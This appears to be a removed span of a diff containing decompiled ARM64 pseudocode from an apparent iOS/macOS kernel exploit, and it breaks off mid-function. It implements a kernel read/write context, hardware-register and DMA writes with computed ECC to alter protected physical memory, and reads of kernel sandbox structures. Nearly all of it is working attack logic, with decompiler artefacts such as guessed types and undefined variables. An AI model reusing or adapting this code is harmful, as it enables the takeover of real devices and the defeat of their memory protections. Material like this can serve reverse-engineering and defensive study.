(0000000000022718) ---------------------------------------------------- -__int64 __fastcall sub_22718(const char *a1, _QWORD *a2, unsigned int *a3) -{ - __int64 v6; // x23 - __int64 v7; // x0 - __int64 v8; // x19 - char *v9; // x21 - unsigned int v10; // w0 - unsigned int v11; // w23 - void *v12; // x0 - unsigned __int64 v13; // x24 - const char *v14; // x25 - __int128 v16; // [xsp+0h] [xbp-60h] BYREF - __int64 v17; // [xsp+10h] [xbp-50h] - - v16 = xmmword_43478; - v17 = 0LL; - *a3 = 0; - v6 = 0LL; - if ( sub_22878(a1) ) - { - v7 = open(a1, 0x100000, v16, v17); - if ( (v7 & 0x80000000) != 0 ) - { - return 0LL; - } - else - { - v8 = v7; - v9 = (char *)calloc(0x1000uLL, 1uLL); - if ( v9 - && (v10 = sub_40FDC(v8, (__int64)&v16, (__int64)v9, 0x1000LL, 0x40LL), (v10 & 0x80000000) == 0) - && (v11 = v10, *a3 = v10, v12 = calloc(v10, 8uLL), (*a2 = v12) != 0LL) ) - { - if ( v11 ) - { - v13 = 0LL; - v14 = v9; - do - { - if ( (v14[4] & 1) != 0 ) - { - *(_QWORD *)(*a2 + 8 * v13) = calloc(*((unsigned int *)v14 + 7), 1uLL); - strcpy(*(char **)(*a2 + 8 * v13), v14 + 0x20); - v11 = *a3; - } - else - { - *(_QWORD *)(*a2 + 8 * v13) = 0LL; - } - v14 += *(unsigned int *)v14; - ++v13; - } - while ( v13 < v11 ); - } - v6 = 1LL; - } - else - { - v6 = 0LL; - } - if ( (int)v8 >= 1 ) - close(v8); - if ( v9 ) - free(v9); - } - } - return v6; -} -// 43478: using guessed type __int128 xmmword_43478; - -//----- (0000000000022878) ---------------------------------------------------- -bool __fastcall sub_22878(const char *a1) -{ - int v1; // w0 - _OWORD v3[5]; // [xsp+0h] [xbp-70h] BYREF - _QWORD v4[3]; // [xsp+58h] [xbp-18h] BYREF - - v4[0] = 5LL; - v4[1] = 0x80020000LL; - v4[2] = 0LL; - memset(v3, 0, 0x4C); - v1 = getattrlist(a1, v4, v3, 0x4CuLL, 0x20u); - return (v1 | DWORD2(v3[0]) & 0x20000) != 0; -} - -//----- (00000000000228E4) ---------------------------------------------------- -__int64 __fastcall sub_228E4(const char *a1, const char *a2, char a3) -{ - __int64 v6; // x19 - unsigned __int64 v7; // x26 - const char **v8; // x27 - char *v9; // x22 - unsigned __int64 v10; // x23 - _BOOL4 v12; // w8 - _BOOL4 v13; // w25 - __int64 v14; // x20 - __int64 v15; // x22 - const char **v16; // x21 - bool v17; // zf - void **v18; // x23 - void *v19; // t1 - char *v21; // x23 - const char *v22; // x24 - char *v23; // [xsp+0h] [xbp-70h] BYREF - char *__s2; // [xsp+8h] [xbp-68h] BYREF - unsigned int v25; // [xsp+14h] [xbp-5Ch] BYREF - const char **v26; // [xsp+18h] [xbp-58h] BYREF - - v26 = 0LL; - v25 = 0; - v23 = 0LL; - __s2 = 0LL; - if ( (unsigned int)sub_224BC(&__s2, 0) - && (unsigned int)sub_224BC(&v23, 0x41u) - && (unsigned int)sub_22718(a1, &v26, &v25) ) - { - v6 = open(a1, 0x100000); - if ( (v6 & 0x80000000) != 0 ) - { - v14 = 0LL; - } - else - { - v7 = v25; - if ( v25 ) - { - v8 = v26; - v9 = __s2; - if ( !strcmp(*v26, __s2) ) - { - v12 = 0; - v13 = 1; - } - else - { - v10 = 1LL; - while ( v7 != v10 ) - { - if ( !strcmp(v8[v10++], v9) ) - { - v12 = 0; - v13 = v10 - 1 < v7; - goto LABEL_39; - } - } - v13 = v10 < v7; - v21 = v23; - while ( 1 ) - { - v22 = *v8; - if ( !strcmp(*v8, v21) ) - goto LABEL_37; - if ( a2 && !strcmp(v22, a2) ) - break; - ++v8; - if ( !--v7 ) - goto LABEL_28; - } - if ( (a3 & 1) != 0 ) - { -LABEL_37: - v12 = sub_4100C(3LL, v6, (__int64)v22, (__int64)v9, 0LL, 0LL) == 0; - goto LABEL_39; - } - v12 = 1; - } - } - else - { - v13 = 0; -LABEL_28: - v12 = 0; - } -LABEL_39: - v14 = v13 | (unsigned int)v12; - } - } - else - { - v14 = 0LL; - LODWORD(v6) = 0xFFFFFFFF; - } - v15 = v25; - v16 = v26; - if ( v25 ) - v17 = v26 == 0LL; - else - v17 = 1; - if ( !v17 ) - { - v18 = (void **)v26; - do - { - v19 = *v18++; - free(v19); - --v15; - } - while ( v15 ); - free(v16); - } - if ( __s2 ) - free(__s2); - if ( v23 ) - free(v23); - if ( (int)v6 >= 1 ) - close(v6); - return v14; -} - -//----- (0000000000022ADC) ---------------------------------------------------- -__int64 __fastcall sub_22ADC(const char *a1, const char *a2) -{ - __int64 v4; // x19 - __int64 v5; // x23 - const char **v6; // x24 - char *v7; // x21 - __int64 v8; // x25 - const char **v9; // x26 - const char *v10; // x22 - char *v11; // x20 - const char *v12; // x22 - int v13; // w9 - _BOOL4 v14; // w8 - __int64 v15; // x20 - __int64 v16; // x22 - void *v17; // x21 - bool v18; // zf - void **v19; // x23 - int v21; // w0 - char *__s2; // [xsp+0h] [xbp-60h] BYREF - char *v23; // [xsp+8h] [xbp-58h] BYREF - unsigned int v24; // [xsp+14h] [xbp-4Ch] BYREF - void *v25; // [xsp+18h] [xbp-48h] BYREF - - v25 = 0LL; - v24 = 0; - __s2 = 0LL; - v23 = 0LL; - if ( (unsigned int)sub_224BC(&v23, 0) - && (unsigned int)sub_224BC(&__s2, 0x41u) - && (unsigned int)sub_22718(a1, &v25, &v24) ) - { - v4 = open(a1, 0x100000); - if ( (v4 & 0x80000000) != 0 ) - { - v15 = 0LL; - } - else - { - v5 = v24; - if ( v24 ) - { - v6 = (const char **)v25; - v7 = __s2; - v8 = v24; - v9 = (const char **)v25; - do - { - v10 = *v9; - if ( *v9 && (!strcmp(*v9, v7) || a2 && !strcmp(v10, a2)) ) - { - v14 = 0; - v13 = 1; - goto LABEL_37; - } - ++v9; - --v8; - } - while ( v8 ); - v11 = v23; - while ( 1 ) - { - v12 = *v6; - if ( *v6 ) - { - if ( !strcmp(*v6, v11) ) - break; - } - ++v6; - if ( !--v5 ) - goto LABEL_16; - } - v21 = sub_4100C(3LL, v4, (__int64)v12, (__int64)v7, 0LL, 0LL); - v13 = 0; - v14 = v21 == 0; - } - else - { -LABEL_16: - v13 = 0; - v14 = 0; - } -LABEL_37: - v15 = v13 | (unsigned int)v14; - } - } - else - { - v15 = 0LL; - LODWORD(v4) = 0xFFFFFFFF; - } - v16 = v24; - v17 = v25; - if ( v24 ) - v18 = v25 == 0LL; - else - v18 = 1; - if ( !v18 ) - { - v19 = (void **)v25; - do - { - if ( *v19 ) - free(*v19); - ++v19; - --v16; - } - while ( v16 ); - free(v17); - } - if ( (int)v4 >= 1 ) - close(v4); - if ( v23 ) - free(v23); - if ( __s2 ) - free(__s2); - return v15; -} - -//----- (0000000000022CA8) ---------------------------------------------------- -bool __fastcall sub_22CA8(bool *a1) -{ - _BOOL8 result; // x0 - int v3; // w8 - char v5[2]; // [xsp+Eh] [xbp-892h] BYREF - statfs v6; // [xsp+10h] [xbp-890h] BYREF - - strcpy(v5, "/"); - bzero(&v6, 0x878uLL); - result = sub_22878(v5); - if ( result ) - { - if ( statfs(v5, &v6) ) - return 1LL; - v3 = HIBYTE(v6.f_fsid.val[0]) << 0x18; - result = v3 != 0x1000000; - if ( v3 != 0x1000000 && a1 != 0LL ) - { - *a1 = strchr(v6.f_mntfromname, 0x40) == 0LL; - return 1LL; - } - } - return result; -} - -//----- (0000000000022D6C) ---------------------------------------------------- -__int64 __fastcall sub_22D6C(_DWORD *ctx, __int64 a2, int a3) -{ - __int64 dmaBaseCommand; // x23 - char v7; // w25 - __int64 dmaMask; // x28 - __int64 v9; // x20 - __int64 v10; // x24 - __int64 *v11; // x1 - __int64 v12; // x27 - __int64 v13; // x26 - __int64 v14; // x23 - __int64 v15; // x24 - unsigned __int64 v16; // x0 - __int64 v17; // x9 - unsigned __int64 v18; // x8 - int v19; // w25 - __int64 v20; // x8 - __int64 v21; // x28 - __int64 v22; // x8 - __int64 v23; // x8 - unsigned __int16 v24; // w28 - const __int16 *v25; // x9 - __int64 i; // x10 - __int64 v27; // x8 - unsigned __int16 v28; // w25 - const __int16 *v29; // x9 - __int64 j; // x10 - int v31; // w8 - _BOOL4 v32; // w12 - char v33; // w9 - unsigned int v34; // w9 - unsigned int v35; // w10 - unsigned int v36; // w10 - int v37; // w21 - __int64 v39; // [xsp+18h] [xbp-228h] - _QWORD *v40; // [xsp+20h] [xbp-220h] - __int64 v41; // [xsp+28h] [xbp-218h] - __int64 v42; // [xsp+30h] [xbp-210h] - __int64 v43; // [xsp+40h] [xbp-200h] - __int64 v44; // [xsp+48h] [xbp-1F8h] - _BOOL4 has_flag; // [xsp+60h] [xbp-1E0h] - int v46; // [xsp+64h] [xbp-1DCh] - unsigned __int64 v47; // [xsp+68h] [xbp-1D8h] - _OWORD v48[4]; // [xsp+70h] [xbp-1D0h] BYREF - __int64 v49[7]; // [xsp+B0h] [xbp-190h] BYREF - _QWORD v50[7]; // [xsp+E8h] [xbp-158h] BYREF - __int128 __s2; // [xsp+120h] [xbp-120h] BYREF - __int128 v52; // [xsp+130h] [xbp-110h] - __int128 v53; // [xsp+140h] [xbp-100h] - __int128 v54; // [xsp+150h] [xbp-F0h] - _OWORD v55[2]; // [xsp+160h] [xbp-E0h] BYREF - _OWORD v56[2]; // [xsp+180h] [xbp-C0h] - _OWORD __s1[4]; // [xsp+1A0h] [xbp-A0h] BYREF - - if ( krw_ctx_has_flag(ctx, 0x2200000) ) - dmaBaseCommand = 0x406000000LL; - else - dmaBaseCommand = 0x206000000LL; - if ( krw_ctx_has_flag(ctx, 0x2200000) ) - v7 = 0xF; - else - v7 = 0xE; - if ( krw_ctx_has_flag(ctx, 0x1000000) ) - { - dmaMask = 0x7FFFFFFLL; - } - else if ( krw_ctx_has_flag(ctx, 0x2200000) ) - { - dmaMask = 0x3FFFFFFLL; - } - else - { - dmaMask = 0x3FFFFFLL; - } - v9 = 0xAD022LL; - if ( (unsigned int)sub_23348((__int64)ctx, 1) ) - { - v10 = something_dmaFail(ctx); - if ( (_DWORD)v10 ) - { -LABEL_85: - sub_25164((__int64)ctx, 4u); - return v10; - } - if ( (unsigned int)physwrite_maybe((__int64)ctx, dmaBaseCommand | 0x140000, (__int64)v49) ) - { - v10 = 0xAD022LL; - goto LABEL_85; - } - if ( (unsigned int)physwrite_maybe((__int64)ctx, dmaBaseCommand | 0x150000, (__int64)v50) ) - { - v11 = v49; -LABEL_84: - sub_38BCC((__int64)ctx, (__int64)v11); - v10 = v9; - goto LABEL_85; - } - if ( !dbgwrap_halt_cpu((__int64)ctx, dmaBaseCommand, v48) ) - { -LABEL_83: - sub_38BCC((__int64)ctx, (__int64)v49); - v11 = v50; - goto LABEL_84; - } - v12 = v49[0]; - v13 = v50[0]; - v42 = *(_QWORD *)(v49[0] + 0x108); - v14 = *(_QWORD *)(v50[0] + 0x40LL); - v15 = *(_QWORD *)(v50[0] + 0x48LL); - if ( krw_ctx_has_flag(ctx, 0x1100000) ) - { - v39 = *(_QWORD *)(v50[0] + 0x20LL); - v40 = (_QWORD *)(v50[0] + 0x20LL); - *(_QWORD *)(v50[0] + 0x20LL) = 1LL; - } - else - { - v39 = 0LL; - v40 = 0LL; - } - v16 = sub_23700((__int64)ctx, a2 & 0xFFFFFFFFFFFFFFC0LL); - if ( v16 ) - { - v47 = v42 | 0x8000000000000000LL; - v17 = ((0xFFFFFFFF << v7) & 0x4000 ^ 0x7FC0) & (unsigned int)v16 | 0x2000000; - v41 = (v16 >> 0x25) & 0x1F; - v18 = v16 >> v7; - v19 = 0; - v20 = v18 & dmaMask; - v21 = a2 & 0x3F; - v43 = v20 << 0x12; - v44 = v17; - while ( 1 ) - { - if ( !(unsigned int)kreadbuf_last_1((__int64)ctx, a2 & 0xFFFFFFFFFFFFFFC0LL, 0x40LL, (__int64)&__s2) ) - { -LABEL_72: - v37 = 0; - goto LABEL_76; - } - if ( v19 ) - { - if ( !memcmp(__s1, &__s2, 0x40uLL) ) - goto LABEL_30; - if ( !memcmp(&__s2, v55, 0x40uLL) || *(_DWORD *)((char *)&__s2 + v21) == a3 ) - { - v37 = 0; - v9 = 0LL; - goto LABEL_76; - } - } - __s1[0] = __s2; - __s1[1] = v52; - __s1[2] = v53; - __s1[3] = v54; - v55[0] = __s2; - v55[1] = v52; - v56[0] = v53; - v56[1] = v54; - *(_DWORD *)((char *)v55 + v21) = a3; -LABEL_30: - if ( !(unsigned int)sub_23760(ctx, (__int64)v48) ) - goto LABEL_72; - *(_QWORD *)(v12 + 0x108) |= 0x8000000000000001LL; - while ( (~*(_QWORD *)(v12 + 0x108) & 0x8000000000000001LL) != 0 ) - sub_2AABC((__int64)ctx, 0x64u); - *(_QWORD *)(v12 + 8) &= ~0x1000000000000000uLL; - *(_QWORD *)(v12 + 0x108) &= v47; - while ( (*(_QWORD *)(v12 + 0x108) & 0x8000000000000001LL) != 0 ) - sub_2AABC((__int64)ctx, 0x64u); - v22 = 0LL; - *(_QWORD *)(v13 + 0x40) = v44; - do - { - *(_QWORD *)(v13 + 0x48) = *(_QWORD *)((char *)v55 + v22); - v22 += 8LL; - } - while ( v22 != 0x40 ); - v23 = 0LL; - v24 = 0; - v25 = dmaFail_ecc_sbox; - do - { - for ( i = 0LL; i != 0x20; ++i ) - { - if ( ((*((_DWORD *)v55 + v23) >> i) & 1) != 0 ) - v24 ^= v25[i]; - } - ++v23; - v25 += 0x20; - } - while ( v23 != 8 ); - v46 = v19; - v27 = 0LL; - v28 = 0; - v29 = dmaFail_ecc_sbox; - do - { - for ( j = 0LL; j != 0x20; ++j ) - { - if ( ((*((_DWORD *)v56 + v27) >> j) & 1) != 0 ) - v28 ^= v29[j]; - } - ++v27; - v29 += 0x20; - } - while ( v27 != 8 ); - has_flag = krw_ctx_has_flag(ctx, 0x84001); - if ( krw_ctx_has_flag(ctx, 0x2200000) && (v31 = v41 | v24 & 0x3E0, v31 != v24) ) - { - v34 = 0xA; - v32 = has_flag; - do - { - v35 = (unsigned __int16)(v31 ^ v24) ^ ((unsigned __int16)(v31 ^ v24) >> 8); - v36 = v35 ^ (v35 >> 4) ^ ((v35 ^ (v35 >> 4)) >> 2); - if ( ((v36 ^ (v36 >> 1)) & 1) == 0 ) - break; - v31 ^= 1 << --v34; - } - while ( v34 > 5 ); - } - else - { - LOWORD(v31) = v24; - v32 = has_flag; - } - v33 = 0x28; - if ( !v32 ) - v33 = 8; - *(_QWORD *)(v13 + 0x48) = v43 & 0x3FFFFFFFFFFFFLL | ((unsigned __int64)v28 << 0x32) | ((unsigned __int64)(unsigned __int16)v31 << v33) | 0x1F; - *(_QWORD *)(v12 + 0x108) |= 0x8000000000000001LL; - while ( (~*(_QWORD *)(v12 + 0x108) & 0x8000000000000001LL) != 0 ) - sub_2AABC((__int64)ctx, 0x64u); - *(_QWORD *)(v12 + 8) |= 0x1000000000000000uLL; - v21 = a2 & 0x3F; - if ( !(unsigned int)kreadbuf_last_1((__int64)ctx, a2, 4LL, (__int64)&__s2 + v21) ) - goto LABEL_74; - if ( *(_DWORD *)((char *)&__s2 + (a2 & 0x3F)) == a3 ) - { - v9 = 0LL; -LABEL_74: - v37 = 1; - goto LABEL_76; - } - *(_QWORD *)(v12 + 0x108) &= v47; - while ( (*(_QWORD *)(v12 + 0x108) & 0x8000000000000001LL) != 0 ) - sub_2AABC((__int64)ctx, 0x64u); - if ( (sub_2385C(ctx, (__int64)v48) & 1) == 0 ) - goto LABEL_74; - v19 = v46 + 1; - if ( v46 == 0xF ) - goto LABEL_72; - } - } - v37 = 0; -LABEL_76: - if ( v42 && *(_QWORD *)(v12 + 0x108) != v42 ) - *(_QWORD *)(v12 + 0x108) &= v42 | 0x8000000000000000LL; - *(_QWORD *)(v13 + 0x40) = v14; - *(_QWORD *)(v13 + 0x48) = v15; - if ( krw_ctx_has_flag(ctx, 0x1100000) ) - { - *v40 = v39; - if ( (v37 & 1) == 0 ) - { -LABEL_82: - sub_38BCC((__int64)ctx, (__int64)v48); - goto LABEL_83; - } - } - else if ( !v37 ) - { - goto LABEL_82; - } - sub_2385C(ctx, (__int64)v48); - goto LABEL_82; - } - return v9; -} -// 43490: using guessed type __int16 dmaFail_ecc_sbox[3]; - -//----- (0000000000023348) ---------------------------------------------------- -__int64 __fastcall sub_23348(__int64 a1, int a2) -{ - __int64 v3; // x8 - __int64 v4; // x20 - uint64_t v5; // x8 - - if ( a2 ) - { - v3 = *(_QWORD *)(a1 + 0x118); - if ( v3 ) - { - if ( *(_QWORD *)(a1 + 0x120) ) - { - v4 = *(_QWORD *)(v3 + 0x150); - if ( v4 ) - { - v5 = (mach_absolute_time() - v4) * *(unsigned int *)(a1 + 0x25C) / *(unsigned int *)(a1 + 0x260); - if ( v5 <= 0x1312CFF ) - sub_2AABC(a1, 0x3E8 * (0x14 - (unsigned int)v5 / 0xF4240)); - } - } - } - if ( (unsigned int)sub_251A4(a1, 4u, 0x3E8u) ) - return 0LL; - if ( *(_QWORD *)(a1 + 0x118) ) - { - if ( *(_QWORD *)(a1 + 0x120) ) - *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x150LL) = mach_absolute_time(); - } - } - else - { - sub_25164(a1, 4u); - } - return 1LL; -} - -//----- (0000000000023424) ---------------------------------------------------- -__int64 __fastcall something_dmaFail(_DWORD *a1) -{ - unsigned __int64 v1; // d8 - unsigned __int64 v2; // d9 - unsigned __int64 v4; // x21 - uint64_t v5; // x20 - __int64 v6; // x22 - int v7; // w1 - __int64 v8; // x20 - int gGFXCommand; // w21 - __int64 v10; // x22 - bool v11; // zf - __int64 v12; // x8 - __int64 v13; // x9 - uint64_t v14; // x20 - _QWORD v16[7]; // [xsp+0h] [xbp-70h] BYREF - mach_timebase_info info; // [xsp+38h] [xbp-38h] BYREF - - v4 = 0x23B080000LL; - info = 0LL; - mach_timebase_info(&info); - LODWORD(v2) = info.denom; - LODWORD(v1) = info.numer; - v5 = mach_absolute_time(); - if ( krw_ctx_has_flag(a1, 0x1000000) ) - { - v4 = 0x23B700000LL; - goto LABEL_10; - } - if ( krw_ctx_has_flag(a1, 0x100000) ) - { - v6 = 0x404E80000LL; - v7 = 0x2000000; - goto LABEL_7; - } - if ( krw_ctx_has_flag(a1, 0x80000) ) - { - v6 = 0x28E580000LL; - v7 = 0x200000; -LABEL_7: - if ( krw_ctx_has_flag(a1, v7) ) - v4 = v6; - else - v4 = 0x23B700000LL; - goto LABEL_10; - } - if ( !krw_ctx_has_flag(a1, 0x4000) && !krw_ctx_has_flag(a1, 1) ) - return 0xAD022LL; -LABEL_10: - if ( (unsigned int)physwrite_maybe((__int64)a1, v4, (__int64)v16) ) - return 0xAD022LL; - gGFXCommand = 0x1F0023FF; - if ( !krw_ctx_has_flag(a1, 0x1000000) ) - { - if ( krw_ctx_has_flag(a1, 0x100000) ) - { - if ( (int)number_of_cpus() < 8 ) - { - v10 = 0x3C8LL; - goto LABEL_33; - } - v11 = !krw_ctx_has_flag(a1, 0x2000000); - v12 = 0x108LL; - v13 = 0x430LL; - } - else - { - if ( krw_ctx_has_flag(a1, 0x80000) ) - { - if ( (int)number_of_cpus() < 8 ) - { - v10 = 0x3D0LL; - goto LABEL_33; - } - v11 = !krw_ctx_has_flag(a1, 0x200000); - v12 = 0x3C0LL; - } - else - { - gGFXCommand = 0x1F0003FF; - if ( krw_ctx_has_flag(a1, 0x4000) ) - { - v10 = 0x390LL; - goto LABEL_33; - } - if ( !krw_ctx_has_flag(a1, 1) ) - { - v8 = 0xAD022LL; - sub_38BCC((__int64)a1, (__int64)v16); - return v8; - } - v11 = (unsigned int)number_of_cpus() == 8; - v12 = 0x388LL; - } - v13 = 0x3F8LL; - } - if ( v11 ) - v10 = v13; - else - v10 = v12; - goto LABEL_33; - } - v10 = 0x408LL; -LABEL_33: - if ( (~*(_DWORD *)(v16[0] + v10) & 0xF) != 0 ) - { - v14 = (unsigned __int64)((double)v2 / (double)v1 * 1000000.0 * 1000.0 + (double)v5); - *(_DWORD *)(v10 + v16[0]) = gGFXCommand; - while ( mach_absolute_time() < v14 && (~*(_DWORD *)(v16[0] + v10) & 0xF) != 0 ) - ; - sub_2AABC((__int64)a1, 0x3E8u); - } - sub_38BCC((__int64)a1, (__int64)v16); - return 0LL; -} -// 23600: variable 'v2' is possibly undefined -// 23604: variable 'v1' is possibly undefined - -//----- (00000000000236A4) ---------------------------------------------------- -bool __fastcall dbgwrap_halt_cpu(__int64 ctx, __int64 dmaBase, _OWORD *value) -{ - int v5; // w21 - - value[2] = 0u; - value[3] = 0u; - *value = 0u; - value[1] = 0u; - v5 = physwrite_maybe(ctx, dmaBase + 0x40000, (__int64)value); - if ( v5 ) - sub_38BCC(ctx, (__int64)value); - return v5 == 0; -} - -//----- (0000000000023700) ---------------------------------------------------- -__int64 __fastcall sub_23700(__int64 a1, __int64 a2) -{ - int v4; // w0 - _BYTE v6[32]; // [xsp+8h] [xbp-38h] BYREF - __int64 v7; // [xsp+28h] [xbp-18h] - - sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 0x188), (__int64)v6); - if ( v4 && v7 ) - return (*(_QWORD *)(a1 + 0x188) & a2) + (v7 & 0xFFFFFFFFC000LL); - else - return 0LL; -} -// 2372C: variable 'v4' is possibly undefined - -//----- (0000000000023760) ---------------------------------------------------- -__int64 __fastcall sub_23760(_DWORD *a1, __int64 a2) -{ - __int64 v4; // x21 - unsigned __int64 v6; // d0 - unsigned __int64 v7; // d1 - uint64_t v8; // x21 - mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF - - v4 = **(_QWORD **)a2; - if ( (v4 & 0x90000000) == 0 ) - { - if ( krw_ctx_has_flag(a1, 0x1100000) ) - sub_2AABC((__int64)a1, 0x3E8u); - **(_QWORD **)a2 = v4 | 0x80000000LL; - *(_BYTE *)(a2 + 0x38) = 1; - info = 0LL; - mach_timebase_info(&info); - LODWORD(v6) = info.denom; - LODWORD(v7) = info.numer; - v8 = (unsigned __int64)((double)v6 / (double)v7 * 1000000.0 * 1000.0 + (double)mach_absolute_time()); - while ( mach_absolute_time() < v8 ) - { - if ( (**(_QWORD **)a2 & 0x10000000) != 0 ) - return 1LL; - } - } - if ( *(_BYTE *)(a2 + 0x38) ) - sub_2385C(a1, a2); - return 0LL; -} -// 23808: variable 'v6' is possibly undefined -// 2380C: variable 'v7' is possibly undefined - -//----- (000000000002385C) ---------------------------------------------------- -__int64 __fastcall sub_2385C(_DWORD *a1, __int64 a2) -{ - unsigned __int64 v4; // x21 - unsigned __int64 v5; // d0 - unsigned __int64 v6; // d1 - uint64_t v7; // x20 - mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF - - if ( !*(_BYTE *)(a2 + 0x38) ) - return 1LL; - v4 = **(_QWORD **)a2 & 0xFFFFFFFF2FFFFFFFLL | 0x40000000; - if ( krw_ctx_has_flag(a1, 0x1100000) ) - sub_2AABC((__int64)a1, 0x3E8u); - **(_QWORD **)a2 = v4; - info = 0LL; - mach_timebase_info(&info); - LODWORD(v5) = info.denom; - LODWORD(v6) = info.numer; - v7 = (unsigned __int64)((double)v5 / (double)v6 * 1000000.0 * 1000.0 + (double)mach_absolute_time()); - while ( mach_absolute_time() < v7 ) - { - if ( (**(_QWORD **)a2 & 0x10000000) == 0 ) - { - *(_BYTE *)(a2 + 0x38) = 0; - return 1LL; - } - } - return 0LL; -} -// 238CC: variable 'v5' is possibly undefined -// 238D0: variable 'v6' is possibly undefined - -//----- (0000000000023940) ---------------------------------------------------- -__int64 __fastcall sub_23940(__int64 a1, __int64 a2) -{ - void *v3; // x20 - __int64 v4; // x19 - __int64 v6; // [xsp+0h] [xbp-40h] BYREF - _QWORD v7[3]; // [xsp+8h] [xbp-38h] BYREF - unsigned int v8; // [xsp+24h] [xbp-1Ch] BYREF - void *v9; // [xsp+28h] [xbp-18h] BYREF - - v9 = 0LL; - v8 = 0; - if ( !(unsigned int)sub_239D8(a1, 0LL, 0LL, &v9, &v8, 0) ) - return 0xFFFFFFFFLL; - v6 = 0x786F62646E6153LL; - v7[0] = a2; - v3 = v9; - v7[1] = v9; - v7[2] = v8; - v4 = sub_40FB0((__int64)&v6, 1LL, (__int64)v7); - if ( v3 ) - free(v3); - return v4; -} - -//----- (00000000000239D8) ---------------------------------------------------- -__int64 __fastcall sub_239D8(__int64 a1, _QWORD *a2, _DWORD *a3, _QWORD *a4, _DWORD *a5, int a6) -{ - __int64 result; // x0 - int v10; // w8 - _QWORD *v13; // x19 - _DWORD *v14; // x22 - __int64 v15; // x25 - __int64 v16; // x27 - __int64 v17; // x28 - unsigned int v18; // w21 - unsigned __int64 v19; // x9 - unsigned __int64 v20; // x26 - unsigned __int64 v21; // x1 - size_t v22; // x27 - void *v23; // x25 - void *v24; // x24 - unsigned __int64 v25; // x1 - __int64 v26; // x26 - _DWORD *v27; // [xsp+0h] [xbp-70h] - unsigned __int64 v28; // [xsp+8h] [xbp-68h] BYREF - int v29; // [xsp+10h] [xbp-60h] BYREF - _DWORD __size[3]; // [xsp+14h] [xbp-5Ch] BYREF - - result = 0LL; - v29 = 0; - v10 = *(_DWORD *)(a1 + 0x140); - if ( v10 > 0x1F53 ) - { - if ( v10 <= 0x225B ) - { - if ( v10 != 0x1F54 && v10 != 0x2258 ) - return result; - goto LABEL_18; - } - if ( v10 == 0x225C ) - { -LABEL_18: - v13 = a4; - v14 = a3; - v27 = a5; - v18 = 0x10; - v16 = 4LL; - v17 = 0x18LL; - v15 = 0x10LL; - goto LABEL_26; - } - if ( v10 != 0x2712 ) - return result; - v13 = a4; - v14 = a3; - v27 = a5; - v18 = 0x10; - v16 = 4LL; - v17 = 0x18LL; - v15 = 0x18LL; -LABEL_26: - v20 = *(_QWORD *)(a1 + 0x398); - result = validate_addr(a1, v20); - if ( !result ) - return result; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F541900000000uLL ) - { - v21 = v20 + v17; - } - else - { - result = kread64((_DWORD *)a1, v20 + v15, (__int64 *)&v28); - if ( !(_DWORD)result ) - return result; - result = validate_addr(a1, v28); - if ( !result ) - return result; - v21 = v28 + v17; - } - result = kread64((_DWORD *)a1, v21, (__int64 *)&v28); - if ( !(_DWORD)result ) - return result; - if ( v28 ) - { - result = validate_addr(a1, v28); - v28 = result; - if ( !result ) - return result; - result = kreadbuf_last_1(a1, v16 - v18 + result, 4LL, (__int64)&v29); - if ( !(_DWORD)result ) - return result; - v22 = v29 - v18; - v29 = v22; - if ( (unsigned int)(v22 - 1) > 0x3FF ) - return 0LL; - result = (__int64)malloc(v22); - if ( !result ) - return result; - v23 = (void *)result; - if ( !(unsigned int)kreadbuf_last_1(a1, v28, v22, result) ) - { - v24 = 0LL; -LABEL_60: - free(v23); -LABEL_61: - if ( v24 ) - free(v24); - return 0LL; - } - } - else - { - v23 = 0LL; - } - if ( !a2 && !v14 ) - { - *v13 = v23; - *v27 = v29; - return 1LL; - } - if ( a6 ) - { - v25 = sub_24208(a1); - v28 = v25; - if ( !v25 ) - goto LABEL_58; - } - else - { - if ( !kread64((_DWORD *)a1, v20, (__int64 *)&v28) ) - goto LABEL_58; - v25 = v28; - } - if ( kread64((_DWORD *)a1, v25, (__int64 *)&__size[1]) ) - { - v24 = 0LL; - if ( (unsigned int)kreadbuf_last_1(a1, v28 + *(int *)(a1 + 0x168), 4LL, (__int64)__size) ) - { - v26 = __size[0]; - if ( __size[0] <= 0x80000u ) - { - v24 = malloc(__size[0]); - if ( v24 ) - { - if ( (unsigned int)kreadbuf_last_1(a1, *(__int64 *)&__size[1], v26, (__int64)v24) ) - { - *v13 = v23; - *v27 = v29; - result = 1LL; - if ( !a2 || !v14 ) - return result; - *a2 = v24; - *v14 = __size[0]; - return 1LL; - } - } - } - } -LABEL_59: - if ( !v23 ) - goto LABEL_61; - goto LABEL_60; - } -LABEL_58: - v24 = 0LL; - goto LABEL_59; - } - if ( v10 == 0x1809 ) - { - v13 = a4; - v14 = a3; - v27 = a5; - v15 = 0LL; - v19 = *(_QWORD *)(a1 + 0x158); - if ( v19 <= 0x18091E01EFFFFFLL ) - v18 = 0x20; - else - v18 = 0x10; - if ( v19 <= 0x18091E01EFFFFFLL ) - v16 = 8LL; - else - v16 = 4LL; - v17 = 0x30LL; - goto LABEL_26; - } - if ( v10 == 0x1C1B || v10 == 0x1F53 ) - { - v13 = a4; - v14 = a3; - v27 = a5; - v15 = 0x10LL; - v16 = 4LL; - v17 = 0x48LL; - v18 = 0x10; - goto LABEL_26; - } - return result; -} - -//----- (0000000000023D30) ---------------------------------------------------- -void __fastcall sub_23D30(__int64 a1, char a2) -{ - int v4; // w0 - unsigned __int64 v5; // x1 - unsigned int v6; // w20 - mach_vm_address_t v7; // x0 - __int64 v8; // x2 - int v9; // w0 - __int64 v10; // [xsp+0h] [xbp-70h] BYREF - unsigned int v11; // [xsp+Ch] [xbp-64h] BYREF - void *v12; // [xsp+10h] [xbp-60h] BYREF - unsigned int v13; // [xsp+1Ch] [xbp-54h] BYREF - void *v14; // [xsp+20h] [xbp-50h] BYREF - _QWORD v15[4]; // [xsp+28h] [xbp-48h] BYREF - - if ( (unsigned int)sub_34D14(a1, mach_task_self_) ) - { - if ( (a2 & 1) != 0 ) - { - if ( validate_addr(a1, *(_QWORD *)(a1 + 0x398)) ) - { - if ( !krw_ctx_has_flag((_DWORD *)a1, 4) ) - { - sub_35AE0(a1, *(_DWORD *)(a1 + 0x37C), 0LL); - if ( v4 ) - { - v5 = *(_QWORD *)(a1 + 0x18E0); - if ( !v5 ) - { - v15[0] = 0LL; - v5 = sub_340D8((_DWORD *)a1, mach_task_self_, v15); - *(_QWORD *)(a1 + 0x18E0) 